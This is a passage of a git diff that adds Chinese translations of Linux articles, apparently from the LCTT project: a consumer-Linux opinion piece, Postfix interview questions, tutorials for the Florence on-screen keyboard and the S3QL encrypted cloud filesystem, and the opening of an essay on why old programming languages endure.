+[9]:http://techblog.netflix.com/2012/07/open-source-at-netflix-by-ruslan.html diff --git a/published/201412/20140818 Will Linux ever be able to give consumers what they want.md b/published/201412/20140818 Will Linux ever be able to give consumers what they want.md new file mode 100644 index 0000000000..df66e15bbb --- /dev/null +++ b/published/201412/20140818 Will Linux ever be able to give consumers what they want.md @@ -0,0 +1,51 @@ +Linux能够提供消费者想要的东西吗? +================================================================================ +> 由Jack Wallen提出的新观点,提供消费者想要的东西也许是收获无限成就的关键。 + +![](http://tr2.cbsistatic.com/hub/i/r/2014/08/14/ce90a81e-d17b-4b8f-bd5b-053120e305e6/resize/620x485/f5f9e0798798172d4e41edbedeb6b7e5/whattheyneedhero.png) + +在消费电子的世界里,如果你不能提供购买者想要的东西,那他们就会跑去别家。我们最近在Firefox浏览器上就看过类似的事情。消费者想要的是一个快速而不那么臃肿的软件,而开发者们却走到了另外的方向上。最后,用户都转移到Chrome或Chromium上去了。 + +Linux需要深深凝视自己的水晶球,仔细体会那场浏览器大战留下的尘埃,然后留意一下这点建议: + +> 如果你不能提供他们想要的,他们就会离开。 + +而这种事与愿违的另一个例子是Windows 8。消费者不喜欢那套界面。而微软却坚持使用,因为这是把所有东西搬到Surface平板上所必须的。相同的情况也可能发生在Canonical和Ubuntu Unity身上 -- 尽管它们的目标并不是单一独特地针对平板电脑来设计(所以,整套界面在桌面系统上仍然很实用而且直观)。 + +一直以来,Linux开发者和设计者们看上去都按照他们自己的想法来做事情。他们过分在意“吃你自家的狗粮”这句话了。以至于他们忘记了一件非常重要的事情: + +> 没有新用户,他们的“根基”也仅仅只属于他们自己。 + +换句话说,唱诗班不仅仅是被传道,他们也同时在宣传。让我给你看三个案例来完全掌握这一点。 + +- 多年以来,一直有在Linux系统中替代活动目录(Active Directory)的需求。我很想把这个名称换成LDAP,但是你真的用过LDAP吗?那就是个噩梦。开发者们也努力了想让LDAP能易用一点,但是没一个做到了。而让我很震惊的是这样一个从多用户环境下发展起来的平台居然没有一个能和AD正面较量的功能。这需要一组开发人员,从头开始建立一个AD的开源替代。这对那些寻求从微软产品迁移的中型企业来说是非常大的福利。但是在这个产品做好之前,他们还不能开始迁移。 +- 另一个从微软激发的需求是Exchange/Outlook。是,我也知道许多人都开始用云。但是,事实上中等和大型规模生意仍然依赖于Exchange/Outlook组合,直到能有更好的产品出现。而这将非常有希望发生在开源社区。整个拼图的一小块已经摆好了(虽然还需要一些工作)- 群件客户端,Evolution。如果有人能够从Zimbra拉出一个分支,然后重新设计成可以配合Evolution(甚至Thunderbird)来提供服务实现Exchange的简单替代,那这个游戏就不是这么玩了,而消费者获得的利益将是巨大的。 +- 便宜,便宜,还是便宜。这是大多数人都得咽下去的苦药片 - 但是消费者(和生意)就是希望便宜。看看去年一年Chromebook的销量吧。现在,搜索一下Linux笔记本看能不能找到700美元以下的。而只用三分之一的价格,就可以买到一个让你够用的Chromebook(一个使用了Linux内核的平台)。但是因为Linux仍然是一个细分市场,很难降低成本。像红帽那种公司也许可以改变现状。他们也已经推出了服务器硬件。为什么不推出一些和Chromebook有类似定位但是却运行完整Linux环境的低价中档笔记本呢?(请看“[Cloudbook是Linux的未来吗?][1]”)其中的关键是这种设备要低成本并且符合普通消费者的要求。不要站在游戏玩家/开发者的角度去思考了,记住普通消费者真正的需求 - 一个网页浏览器,不会有更多了。这是Chromebook为什么可以这么轻松地成功。Google精确地知道消费者想要什么,然后推出相应的产品。而面对Linux,一些公司仍然认为他们吸引买家的唯一途径是高端昂贵的硬件。而有一点讽刺的是,口水战中最经常听到的却是Linux只能在更慢更旧的硬件上运行。 + +最后,Linux需要看一看乔布斯传(Book Of Jobs),搞清楚如何说服消费者们他们真正要的就是Linux。在公司里和在家里 -- 每个人都可以享受到Linux带来的好处。说真的,开源社区怎么可能做不到这点呢?Linux本身就已经带有很多漂亮的时髦术语标签:稳定性、可靠性、安全性、云、免费 -- 再加上Linux实际已经进入到绝大多数人手中了(只是他们自己还不清楚罢了)。现在是时候让他们知道这一点了。如果你是用Android或者Chromebooks,那么你就在用(某种形式上的)Linux。 + +搞清楚消费者需求一直以来都是Linux社区的绊脚石。而且我知道 -- 太多的Linux开发都基于某个开发者有个特殊的想法。这意味着这些开发都针对的“微型市场”。是时候了,无论如何,让Linux开发社区能够进行全球性思考了。“一般用户有什么需求,我们怎么满足他们?”让我提几个最基本的点。 + +一般用户想要: + +- 低价 +- 设备和服务能无缝衔接 +- 直观而现代的设计 +- 百分百可靠的浏览器体验 + +把这四点放在心中,应该可以轻松地以Linux为基础开发出用户实际需要的产品。Google做到了...当然Linux社区也可以参照Google的工作并开发出更好的产品。把这些应用到集成AD这件事上,能开发出Exchange/Outlook的替代或者基于云的群件工具,就会发生一件非常特殊的事 -- 人们会为它买单。 + +你觉得Linux社区能够提供消费者想要的东西吗?在下边的讨论区里分享一下你的看法。 + +-------------------------------------------------------------------------------- + +via: http://www.techrepublic.com/article/will-linux-ever-be-able-to-give-consumers-what-they-want/ + +作者:[Jack Wallen][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.techrepublic.com/search/?a=jack+wallen +[1]:http://www.techrepublic.com/article/is-the-cloudbook-the-future-of-linux/ diff --git a/published/201412/20140826 20 Postfix Interview Questions and Answers.md b/published/201412/20140826 20 Postfix Interview Questions and Answers.md new file mode 100644 index 0000000000..a2c5f7e569 --- /dev/null +++ b/published/201412/20140826 20 Postfix Interview Questions and Answers.md @@ -0,0 +1,122 @@ +20个关于Postfix的面试题 +================================================================================ +### 问题1:什么是 Postfix,它的默认端口是多少? ### + +答:Postfix 是一个开源的 MTA(邮件传送代理,英文名:Mail Transfer Agent),用于转发 email。相信很多人知道 Sendmail,而 Postfix 是它的替代品。默认端口是25。 + +### 问题2:Postfix 和 Sendmail 有什么区别? ### + +答:Postfix 使用模块化设计,由多个独立的可执行程序组成;而 Sendmail 被设计成有一个强大的后台进程提供所有服务。 + +### 问题3:什么是 MTA,它在邮件系统中扮演什么角色? ### + +答:MTA 是 Mail Transfer Agent (邮件传输代理)的缩写。MTA 负责接收和发送邮件、确定发送路径和地址重写(LCTT译注:address rewriting,就是完善发送地址,比如将“username”这个地址重写为“username@example.com”)。本地转发就是将邮件发送给 MDA。Qmail、Postix、Sendmail 都是 MTA。 + +### 问题4:什么是 MDA? ### + +答:MDA 是 Mail Delivery Agent (邮件投递代理)的缩写。MDA 这个程序用于从 MTA 获取邮件并投递至本地收件人的邮箱。MDA 通常可以过滤邮件或为邮件分类。一个 MDA 也能决定一封邮件是否需要转发到另一个邮箱地址。Procmail 就是一个 MDA。 + +### 问题5:什么是 MUA? ### + +答:MUA 是 Mail User Agent (邮件用户代理)的缩写。MUA 是一个邮件客户端软件,可以用来写邮件、发送邮件、接收邮件。发送邮件时使用的是 MTA;接收邮件时可以从邮件存储区直接收取,也可以通过 POP/IMAP 服务器间接收取。Outlook、Thunkerbird、Evolution 都是 MUA。 + +### 问题6:邮件服务器里 postmaster 的作用是什么? ### + +答:邮件管理者一般就是 postmaster。一个 postmaster 的责任就是保证邮件系统正常工作、更新系统配置、添加/删除邮箱帐号,以及其他工作。每个域中必须存在一个 postmaster 的别名(LCTT译注:postmaster 别名用于接受一些其它服务器/用户对该邮件系统的沟通邮件,如关于垃圾邮件拒收的投诉等,通常都会直接被邮件服务器的管理员所接受。一些系统错误和提示的邮件,也往往以postmaster 作为发件人),用于将邮件发往正确的用户。 + +### 问题7:Postfix 都有些什么重要的进程? ### + +答:以下是 Postfix 邮件系统里最重要的后台进程列表: + +- **master**:这条进程是 Postfix 邮件系统的大脑,它产生所有其他进程。 +- **smtpd**:作为服务器端程序处理所有外部连进来的请求。 +- **smtp**:作为客户端程序处理所有对外发起连接的请求。 +- **qmgr**:它是 Postfix 邮件系统的心脏,处理和控制邮件队列里面的所有消息。 +- **local**:这是 Postfix 自有的本地投递代理MDA,就是它负责把邮件保存到邮箱里。 + +### 问题8:Postfix 服务器的配置文件是什么? ### + +答:有两个主要配置文件: + +- **/etc/postfix/main.cf**:这个文件保存全局配置信息,所有进程都会用到,除非这些配置在 master.cf 文件中被重新设置了。 +- **/etc/postfix/master.cf**:这个文件保存了额外的进程运行时环境参数,在 main.cf 文件中定义的配置可能会被本文件的配置覆盖掉。 + +### 问题9:如何将 Postfix 重启以及设为开机启动? ### + +答:使用这个命令重启:`service postfix restart`;使用这个命令设为开机启动:`chkconfig postfix on` + +### 问题10:怎么查看 Postfix 的邮件队列? ### + +答:Postfix 维护两个队列:未决邮件队列(pending mails queue)和等待邮件队列(deferred mail queue)。等待队列包含了暂时发送失败、需要重新发送的邮件,Postfix 会定期重发(默认5分钟,可自定义设置)。(LCTT译注:其实 Postfix 维护5个队列:输入队列,邮件进入 Postfix 系统的第一站;活动队列,qmgr 将输入队列的邮件移到活动队列;等待队列,保存暂时不能发送出去的邮件;故障队列,保存受损或无法解读的邮件;保留队列,将邮件无限期留在 Postfix 队列系统中。) + +列出邮件队列里面所有邮件: + + # postqueue -p + +保存邮件队列名单: + + # postqueue -p > /mnt/queue-backup.txt + +让 Postfix 马上处理队列: + + # postqueue -f + +### 问题11:如何删除邮件队列里面的邮件? ### + +答:以下命令删除所有邮件: + + # postsuper -d ALL + +以下命令只删除等待队列中的邮件: + + # postsuper -d ALL deferred + +### 问题12:如何通过命令来检查 Postfix 配置信息? ### + +答:使用`postconf -n`命令可以查看,它会过滤掉配置文件里面被注释掉的配置信息。 + +### 问题13:实时查看邮件日志要用什么命令? ### + +答:`tail -f /var/log/maillog` 或 `tailf /var/log/maillog` + +### 问题14:如何通过命令行发送测试邮件? ### + +答:参考下面的命令: + + # echo "Test mail from postfix" | mail -s "Plz ignore" info@something.com + +### 问题15:什么是“开放邮件转发(Open Relay)”? ### + +答:开放邮件转发是 SMTP 服务器的一项设定,允许因特网上任意的其他用户能通过该服务器转发邮件,而不是直接发送到某个帐号的服务器或只允许授权用户通过它来发送邮件。过去,这项功能在许多邮件服务器中都是默认开启的,但是现在已经不再流行了,因为邮件转发会导致大量垃圾邮件和病毒邮件在网络上肆虐。 + +### 问题16:什么是 Postfix 上的邮件转发主机? ### + +答:转发主机是 SMTP 的地址,如果在配置文件中有配置,那么所有输入邮件都将被 SMTP 服务器转发。 + +### 问题17:什么是灰名单? ### + +答:灰名单(LCTT译注:介于白名单和黑名单之间)是一种用于拦截垃圾邮件的技术。一个 MTA 使用灰名单时就会“暂时拒绝”未被识别的发送者发来的所有邮件。如果邮件是正当合理的,发起者会在一段时间后重新发送,然后这份邮件就能被接收。(LCTT译注:灰名单基于这样一个事实,就是大多数的垃圾邮件服务器和僵尸网络的邮件只发送一次,而会忽略要求它们在一定的时间间隔后再次发送的请求。) + +### 问题18:邮件系统中 SPF 记录有什么重要作用? ### + +答:SPF 是 Sender Policy Framework 的缩写,用于帮助邮件域的拥有者确认发送方是否来自他们的域,目的是其他邮件系统能够保证发送方在发送邮件时来自经过授权的来源 —— 这种方法可以减小遇到邮件地址欺骗、网络钓鱼和垃圾邮件的风险。 + +### 问题19:邮件系统中 DKIM 有什么用处? ### + +答:域名密匙是一套电子邮件身份认证系统,用于验证邮件发送方的 DNS 域和邮件的完整性。域名密匙规范采用互联网电子邮件认证技术,建立了一套加强版协议:域名密匙识别邮件(就是 DKIM)。 + +### 问题20:邮件系统中 ASSP 的规则是什么? ### + +答:ASSP(Anti-Spam SMTP Proxy,反垃圾代理) 是一个网关服务器,安装在你的 MTA 前面,通过自建白名单、自动学习贝叶斯算法、灰名单、DNS 黑名单(DNSBL)、DNS 白名单(DNSWL)、URI黑名单(URIBL)、SPF、SRS、Backscatter、病毒扫描功能、附件阻拦功能、基于发送方等多种方法来反垃圾邮件。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/postfix-interview-questions-answers/ + +作者:[Pradeep Kumar][a] +译者:[bazz2](https://github.com/bazz2) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxtechi.com/author/pradeep/ diff --git a/published/201412/20140901 How to use on-screen virtual keyboard on Linux.md b/published/201412/20140901 How to use on-screen virtual keyboard on Linux.md new file mode 100644 index 0000000000..9c9123d8d9 --- /dev/null +++ b/published/201412/20140901 How to use on-screen virtual keyboard on Linux.md @@ -0,0 +1,129 @@ +如何在 Linux 中使用屏幕键盘 +================================================================================ + +屏幕键盘可以作为实体键盘输入的替代方案。在某些时候,屏幕键盘显得非常需要。 比如, 你的键盘刚好坏了;你的机器太多,没有足够的键盘;你的机器没有多余的接口来连接键盘;你是个残疾人,打字有困难;或者你正在组建基于触摸屏的信息服务站。 + +屏幕键盘也可以作为一种防范实体键盘记录器的保护手段,键盘记录器会悄悄记录按键来获取密码等敏感信息。一些网上银行页面实际上会强制你使用屏幕键盘来增强交易的安全性。 + +在 linux 中有几个可用的开源键盘软件, 比如 [GOK (Gnome 的屏幕键盘)][1],[kvkbd][2],[onboard][3],[Florence][4]。 + +我会在这个教程中集中讲解 Florence, 告诉你**如何用 Florence 设置一个屏幕键盘**。 Florence 有着布局方案灵活、输入法多样、自动隐藏等特性。作为教程的一部分,我也将会示范**如何只使用鼠标来操作 Ubuntu 桌面**。 + +### 在 Linux 中安装 Florence 屏幕键盘 ### + +幸运的是,Florence 存在于大多数 Linux 发行版的基础仓库中。 + +在 Debian,Ubuntu 或者 Linux Mint 中: + + $ sudo apt-get install florence + +在 Fedora,CentOS 或者 RHEL (CentOS/RHEL 需要[EPEL 仓库][5]) 中: + + $ sudo yum install florence + +在 Mandriva 或者 Mageia 中: + + $ sudo urpmi florence + +对于 Archlinux 用户,Florence 存在于 [AUR][6] 中。 + +### 配置和加载屏幕键盘 ### + +当你安装好 Florence 之后,你只需要简单的输入以下命令就能加载屏幕键盘: + + $ florence + +默认情况下,屏幕键盘总是在其他窗口的顶部,让你能够在任意活动的窗口上进行输入。 + +在键盘的左侧点击工具按键来改变 Florence 的默认配置。 + +![](https://farm4.staticflickr.com/3923/14873468448_216c794244_z.jpg) + +在 Florence 的 "样式 (style)" 菜单中,你能够自定义键盘样式,启用/取消声音效果。 + +![](https://farm6.staticflickr.com/5563/14873470478_de81aac39b_o.png) + +在“窗口 (window)”菜单中,你能够调整键盘背景透明度、按键不透明度,以及控制键盘比例、工具栏、尺寸和总是置顶等特性。如果你的桌面分辨率不是非常高,透明度调整就显得非常有用,因为屏幕键盘会挡住其他窗口。在这个例子中,我切换到透明键盘,并且设置不透明度为 50%。 + +![](https://farm6.staticflickr.com/5556/15060050245_1534127d1c_z.jpg) + +在“行为 (behaviour)”菜单中,你能够改变输入方法。Florence 支持几种不同的输入法: 鼠标 (mouse)、触摸屏 (touch screen)、计时器 (timer) 和漫步 (ramble)。鼠标输入是默认输入法。最后的两种输入法不需要按鼠标键。 计时器输入通过将指针滞留在按键上一定时间来触发按键。漫步输入的原理跟**计时器**输入差不多,但是经过训练和灵巧使用,能够比**计时器**输入更加迅速。 + +![](https://farm4.staticflickr.com/3843/14873384900_82baef4c22_o.png) + +在“布局 (layout)”菜单中,你能够改变键盘布局。比如,你能够扩展键盘布局来增加导航键,数字键和功能键。 + +![](https://farm6.staticflickr.com/5556/15057015461_e611b6ee25_z.jpg) + +### 只使用鼠标来操作 Ubuntu 桌面 + +我将示范如何将 Florence 集成到 Ubuntu 桌面中,然后我们不需要实体键盘就能够进入桌面。这个教程使用 LightDM (Ubuntu 的默认显示管理器) 来进入 Ubuntu,其他桌面环境也能设置类似的环境。 + +初始设置时需要实体键盘,但是一旦设置完成,你只需要一个鼠标,而不是键盘。 + +当你启动 Ubuntu 桌面时,启动程序最后会停在显示管理器 (或者登录管理器) 的欢迎界面。在这个界面上你需要输入你的登录信息。默认的情况下,Ubuntu 桌面会使用 LightDM 显示管理器和 Unity 欢迎界面。如果没有实体键盘, 你就不能在登录界面输入用户名和密码。 + +为了能够在登录界面加载屏幕键盘,安装配备了屏幕键盘支持的 GTK+ 欢迎界面。 + + $ sudo apt-get install lightdm-gtk-greeter + +然后用编辑器打开欢迎界面配置文件 (/etc/lightdm/lightdm-gtk-greeter.conf),指定 Florence 作为屏幕键盘来使用。如果你愿意,你也能够使用 Ubuntu 的默认屏幕键盘 onboard 来代替 Florence。 + + $ sudo vi /etc/lightdm/lightdm-gtk-greeter.conf + +---------- + + [greeter] + keyboard=florence --no-gnome --focus & + +![](https://farm6.staticflickr.com/5554/15056999361_180dc724b2_z.jpg) + +重启 Ubuntu 桌面,然后看看你是否能够在登录界面使用屏幕键盘。 + +启动之后当你看到 GTK+ 欢迎界面时, 点击右上角的人形符号。你会看到“使用屏幕键盘 (On Screen Keyboard)”菜单选项,如下: + +![](https://farm6.staticflickr.com/5554/14873314399_e48bd6eb84_z.jpg) + +点击这个选项,屏幕键盘就会在登录界面弹出。现在你应该能够用屏幕键盘来登录了。 + +![](https://farm6.staticflickr.com/5572/14873460568_02480cccb7_z.jpg) + +对于 GDM2/GDM3 用户怎么在 GDM2/GDM3 界面上使用屏幕键盘,Florence 官方网页提供了 [文档 (documentation)][7]。 + +Ubuntu 桌面完全无键盘化的最后一步是让屏幕键盘在登录后自动启动,这样我们在登录后能够不使用实体键盘就操作桌面,为了做到这一点,创建以下桌面文件: + + $ mkdir -p ~/.config/autostart + $ vi ~/.config/autostart/florence.desktop + +---------- + + [Desktop Entry] + Type=Application + Name=Virtual Keyboard + Comment=Auto-start virtual keyboard + Exec=florence --no-gnome + +这样可以让你在登录到桌面的时候就看到屏幕键盘。 + +![](https://farm4.staticflickr.com/3873/15037038376_f8359f3a65_z.jpg) + +希望这个教程对你有用。与你所看到的一样,Florence 是非常强大的屏幕键盘,可以用于不同目的。请和我分享你使用屏幕键盘的经验。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/08/onscreen-virtual-keyboard-linux.html + +作者:[Dan Nanni][a] +译者:[forsil](https://github.com/forsil) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:https://developer.gnome.org/gok/ +[2]:http://homepage3.nifty.com/tsato/xvkbd/ +[3]:https://launchpad.net/onboard +[4]:http://florence.sourceforge.net/ +[5]:http://xmodulo.com/2013/03/how-to-set-up-epel-repository-on-centos.html +[6]:https://aur.archlinux.org/packages/florence/ +[7]:http://florence.sourceforge.net/english/how-to.html \ No newline at end of file diff --git a/published/201412/20140910 How to create a cloud-based encrypted file system on Linux.md b/published/201412/20140910 How to create a cloud-based encrypted file system on Linux.md new file mode 100644 index 0000000000..7c147bb7c0 --- /dev/null +++ b/published/201412/20140910 How to create a cloud-based encrypted file system on Linux.md @@ -0,0 +1,156 @@ +如何在 Linux 系统中创建一个云端加密文件系统 +================================================================================ +[Amazon S3][1] 和 [Google Cloud Storage][2] 之类的商业云存储服务以能承受的价格提供了高可用性、可扩展、无限容量的对象存储服务。为了加速这些云产品的广泛采用,这些提供商为他们的产品通过明确的 API 和 SDK 培养了一个良好的开发者生态系统。而基于云的文件系统便是这些活跃的开发者社区中的典型产品,已经有了好几个开源的实现。 + +[S3QL][3] 便是最流行的开源云端文件系统之一。它是一个基于 FUSE 的文件系统,提供了好几个商业或开源的云存储后端,比如 Amazon S3、Google Cloud Storage、Rackspace CloudFiles,还有 OpenStack。作为一个功能完整的文件系统,S3QL 拥有不少强大的功能:最大 2T 的文件大小、压缩、UNIX 属性、加密、基于写入时复制的快照、不可变树、重复数据删除,以及软、硬链接支持等等。写入 S3QL 文件系统任何数据都将首先被本地压缩、加密,之后才会传输到云后端。当你试图从 S3QL 文件系统中取出内容的时候,如果它们不在本地缓存中,相应的对象会从云端下载回来,然后再即时地解密、解压缩。 + +需要明确的是,S3QL 的确也有它的限制。比如,你不能把同一个 S3FS 文件系统在几个不同的电脑上同时挂载,只能有一台电脑同时访问它。另外,ACL(访问控制列表)也并没有被支持。 + +在这篇教程中,我将会描述“如何基于 Amazon S3 用 S3QL 配置一个加密文件系统”。作为一个使用范例,我还会说明如何在挂载的 S3QL 文件系统上运行 rsync 备份工具。 + +### 准备工作 ### + +本教程首先需要你创建一个 [Amazon AWS 帐号][4](注册是免费的,但是需要一张有效的信用卡)。 + +然后 [创建一个 AWS access key][4](access key ID 和 secret access key),S3QL 使用这些信息来访问你的 AWS 帐号。 + +之后通过 AWS 管理面板访问 AWS S3,并为 S3QL 创建一个新的空 bucket。 + +![](https://farm4.staticflickr.com/3841/15170673701_7d0660e11f_c.jpg) + +为最佳性能考虑,请选择一个地理上距离你最近的区域。 + +![](https://farm4.staticflickr.com/3902/15150663516_4928d757fc_b.jpg) + +### 在 Linux 上安装 S3QL ### + +在大多数 Linux 发行版中都有预先编译好的 S3QL 软件包。 + +#### 对于 Debian、Ubuntu 或 Linux Mint:#### + + $ sudo apt-get install s3ql + +#### 对于 Fedora:#### + + $ sudo yum install s3ql + +对于 Arch Linux,使用 [AUR][6]。 + +### 首次配置 S3QL ### + +在 ~/.s3ql 目录中创建 autoinfo2 文件,它是 S3QL 的一个默认的配置文件。这个文件里的信息包括必须的 AWS access key,S3 bucket 名,以及加密口令。这个加密口令将被用来加密一个随机生成的主密钥,而主密钥将被用来实际地加密 S3QL 文件系统数据。 + + $ mkdir ~/.s3ql + $ vi ~/.s3ql/authinfo2 + +---------- + + [s3] + storage-url: s3://[bucket-name] + backend-login: [your-access-key-id] + backend-password: [your-secret-access-key] + fs-passphrase: [your-encryption-passphrase] + +指定的 AWS S3 bucket 需要预先通过 AWS 管理面板来创建。 + +为了安全起见,让 authinfo2 文件仅对你可访问。 + + $ chmod 600 ~/.s3ql/authinfo2 + +### 创建 S3QL 文件系统 ### + +现在你已经准备好可以在 AWS S3 上创建一个 S3QL 文件系统了。 + +使用 mkfs.s3ql 工具来创建一个新的 S3QL 文件系统。这个命令中的 bucket 名应该与 authinfo2 文件中所指定的相符。使用“--ssl”参数将强制使用 SSL 连接到后端存储服务器。默认情况下,mkfs.s3ql 命令会在 S3QL 文件系统中启用压缩和加密。 + + $ mkfs.s3ql s3://[bucket-name] --ssl + +你会被要求输入一个加密口令。请输入你在 ~/.s3ql/autoinfo2 中通过“fs-passphrase”指定的那个口令。 + +如果一个新文件系统被成功创建,你将会看到这样的输出: + +![](https://farm6.staticflickr.com/5582/14988587230_e182ca3abd_z.jpg) + +### 挂载 S3QL 文件系统 ### + +当你创建了一个 S3QL 文件系统之后,下一步便是要挂载它。 + +首先创建一个本地的挂载点,然后使用 mount.s3ql 命令来挂载 S3QL 文件系统。 + + $ mkdir ~/mnt_s3ql + $ mount.s3ql s3://[bucket-name] ~/mnt_s3ql + +挂载一个 S3QL 文件系统不需要特权用户,只要确定你对该挂载点有写权限即可。 + +视情况,你可以使用“--compress”参数来指定一个压缩算法(如 lzma、bzip2、zlib)。在不指定的情况下,lzma 将被默认使用。注意如果你指定了一个自定义的压缩算法,它将只会应用到新创建的数据对象上,并不会影响已经存在的数据对象。 + + $ mount.s3ql --compress bzip2 s3://[bucket-name] ~/mnt_s3ql + +因为性能原因,S3QL 文件系统维护了一份本地文件缓存,里面包括了最近访问的(部分或全部的)文件。你可以通过“--cachesize”和“--max-cache-entries”选项来自定义文件缓存的大小。 + +如果想要除你以外的用户访问一个已挂载的 S3QL 文件系统,请使用“--allow-other”选项。 + +如果你想通过 NFS 导出已挂载的 S3QL 文件系统到其他机器,请使用“--nfs”选项。 + +运行 mount.s3ql 之后,检查 S3QL 文件系统是否被成功挂载了: + + $ df ~/mnt_s3ql + $ mount | grep s3ql + +![](https://farm4.staticflickr.com/3863/15174861482_27a842da3e_z.jpg) + +### 卸载 S3QL 文件系统 ### + +想要安全地卸载一个(可能含有未提交数据的)S3QL 文件系统,请使用 umount.s3ql 命令。它将会等待所有数据(包括本地文件系统缓存中的部分)成功传输到后端服务器。取决于等待写的数据的多少,这个过程可能需要一些时间。 + + $ umount.s3ql ~/mnt_s3ql + +### 查看 S3QL 文件系统统计信息及修复 S3QL 文件系统 ### + +若要查看 S3QL 文件系统统计信息,你可以使用 s3qlstat 命令,它将会显示诸如总的数据、元数据大小、重复文件删除率和压缩率等信息。 + + $ s3qlstat ~/mnt_s3ql + +![](https://farm6.staticflickr.com/5559/15184926905_4815e5827a_z.jpg) + +你可以使用 fsck.s3ql 命令来检查和修复 S3QL 文件系统。与 fsck 命令类似,待检查的文件系统必须首先被卸载。 + + $ fsck.s3ql s3://[bucket-name] + +### S3QL 使用案例:Rsync 备份 ### + +让我用一个流行的使用案例来结束这篇教程:本地文件系统备份。为此,我推荐使用 rsync 增量备份工具,特别是因为 S3QL 提供了一个 rsync 的封装脚本(/usr/lib/s3ql/pcp.py)。这个脚本允许你使用多个 rsync 进程递归地复制目录树到 S3QL 目标。 + + $ /usr/lib/s3ql/pcp.py -h + +![](https://farm4.staticflickr.com/3873/14998096829_d3a64749d0_z.jpg) + +下面这个命令将会使用 4 个并发的 rsync 连接来备份 ~/Documents 里的所有内容到一个 S3QL 文件系统。 + + $ /usr/lib/s3ql/pcp.py -a --quiet --processes=4 ~/Documents ~/mnt_s3ql + +这些文件将首先被复制到本地文件缓存中,然后在后台再逐步地同步到后端服务器。 + +若想了解与 S3QL 有关的更多信息,如自动挂载、快照、不可变树,我强烈推荐阅读 [官方用户指南][7]。欢迎告诉我你对 S3QL 怎么看,以及你对任何其他工具的使用经验。 + + + + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/09/create-cloud-based-encrypted-file-system-linux.html + +作者:[Dan Nanni][a] +译者:[felixonmars](https://github.com/felixonmars) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://aws.amazon.com/s3 +[2]:http://code.google.com/apis/storage/ +[3]:https://bitbucket.org/nikratio/s3ql/ +[4]:http://aws.amazon.com/ +[5]:http://ask.xmodulo.com/create-amazon-aws-access-key.html +[6]:https://aur.archlinux.org/packages/s3ql/ +[7]:http://www.rath.org/s3ql-docs/ diff --git a/published/201412/20140910 Why Do Some Old Programming Languages Never Die.md b/published/201412/20140910 Why Do Some Old Programming Languages Never Die.md new file mode 100644 index 0000000000..09c30aa5f7 --- /dev/null +++ b/published/201412/20140910 Why Do Some Old Programming Languages Never Die.md @@ -0,0 +1,85 @@ +为什么一些古老的编程语言不会消亡? +================================================================================ +> 我们钟爱我们已知的。 + +![](http://a4.files.readwrite.com/image/upload/c_fill,h_900,q_70,w_1600/MTIzMDQ5NjY0MTUxMjU4NjM2.jpg) + +当今许多知名的编程语言已经都非常古老了。PHP 语言20年、Python 语言23年、HTML 语言21年、Ruby 语言和 JavaScript 语言已经19年,C 语言更是高达42年之久。 + +这是没人能预料得到的,即使是计算机科学家 [Brian Kernighan][1] 也一样。他是写著第一本关于 C 语言的作者之一,直到今天这本书还在印刷着。(C 语言本身的发明者 [Dennis Ritchie][2] 是 Kernighan 的合著者,他于 2011 年已辞世。) + +“我依稀记得早期跟编辑们的谈话,告诉他们我们已经卖出了5000册左右的量,”最近采访 Kernighan 时他告诉我说。“我们设法做的更好。我没有想到的是在2014年的教科书里学生仍然在使用第一个版本的书。” + +关于 C 语言的持久性特别显著的就是 Google 开发出了新的语言 Go,解决同一问题比用 C 语言更有效率。不过,我仍然很难想象 Go 能彻底杀死 C,无论它有多么好。 + +“大多数语言并不会消失或者至少很大一部分用户承认它们不会消失,”他说。“C 语言仍然在一定的领域独领风骚,所以它很接地气。” + +### 编写所熟悉的 ### + +为什么某些计算机编程语言要比其它的更流行?因为开发者都选择使用它们。逻辑上来说,这解释已经足够,但还想深入了解为什么开发人员会选择使用它们呢,这就有点棘手了。 + +分别来自普林斯顿大学和加州大学伯克利分校的研究者 Ari Rabkin 和 Leo Meyerovich 花费了两年时间来研究解决上面的问题。他们的研究报告,[《编程语言使用情况实例分析》][3],记录了对超过 200,000 个 Sourceforge 项目和超过 13,000 个程序员投票结果的分析。 + +他们主要的发现是什么呢?大多数时候程序员选择的编程语言都是他们所熟悉的。 + +“这些我们使用的语言还继续存在是因为我们经常使用他们,” Rabkin 告诉我。“例如:天文学家就经常使用 IDL [交互式数据语言]来开发他们的计算机程序,并不是因为它具有什么特殊的亮点功能或其它特点,而是因为用它形成习惯了。他们已经用些语言构建出很优秀的程序了,并且想保持原状。” + +换句话说,它部分要归功于这些语言所创立的知名度仍保持较高。当然,这并不意味着流行的语言不会变化。Rabkin 指出我们今天在使用的 C 语言就跟 Kernighan 第一次创建时的一点都不同,那时的 C 编译器跟现代的也不是完全兼容。 + +“有一个古老的,关于工程师的笑话。工程师被问到哪一种编程语言人们会使用30年,他说,‘我不知道,但它总会被叫做 Fortran’,” Rabkin 说到。“长期存活的语言跟他们在70年代和80年代刚设计出来的时候不太一样了。人们通常都是在上面增加功能,而不会删除功能,因为要保持向后兼容,但有些功能会被修正。” + +向后兼容意思就是当语言升级后,程序员不仅可以使用升级语言的新特性,也不用回去重写已经实现的老代码块。老的“遗留代码”的语法规则已经不用了,但舍弃是要花成本的。只要它们存在,我们就有理由相信相关的语言也会存在。 + +### PHP: 存活长久语言的一个案例学习 ### + +遗留代码指的是用过时的源代码编写的程序或部分程序。想想看,一个企业或工程项目的关键程序功能部分是用没人维护的编程语言写出来的。因为它们仍起着作用,用现代的源代码重写非常困难或着代价太高,所以它们不得不保留下来,即使其它部分的代码都变动了,程序员也必须不断折腾以保证它们能正常工作。 + 